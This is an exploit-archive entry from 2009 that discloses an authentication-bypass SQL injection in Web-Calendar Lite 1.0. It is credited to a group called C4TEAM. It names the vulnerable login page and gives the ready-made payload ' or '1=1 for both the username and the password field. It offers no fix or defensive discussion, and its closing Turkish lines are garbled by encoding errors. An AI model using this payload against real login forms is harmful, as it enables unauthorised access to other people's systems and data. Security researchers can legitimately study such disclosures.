Web-Calendar Lite 1.0 (Auth Bypass) SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Web-Calendar Lite 1.0 (Auth Bypass) SQL Injection Vulnerability
# Published : 2009-01-25
# Author : ByALBAYX
# Previous Title : Mambo com_sim v0.8 Blind SQL Injection Exploit
# Next Title : Flax Article Manager 1.1 (cat_id) SQL Injection Vulnerability

#############################################
#----C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author   : ByALBAYX

[~]Website  : WWW.C4TEAM.ORG
#############################################
[~]Script   :Web-Calendar Lite 1.0

[~]Site     :http://www.ewebb.it

[~]Demo     :http://www.ewebb.it/scripts/calendar_V1/index.asp
#############################################

[~]http://www.c4team.org/ [PATH] /calendar_V1/index.asp


[~]Username : ' or '1=1


[~]Password : ' or '1=1

#############################################
[~]?°??inize Baq?±n :=)

[~]Greetz For C4TEAM Members
#############################################
Derdimi dinledim, derdimden ?°??REND?°M...
Onun derdini g??rd??m, derdime ?°MREND?°M...
FilistiN
----------

# www.Syue.com [2009-01-25]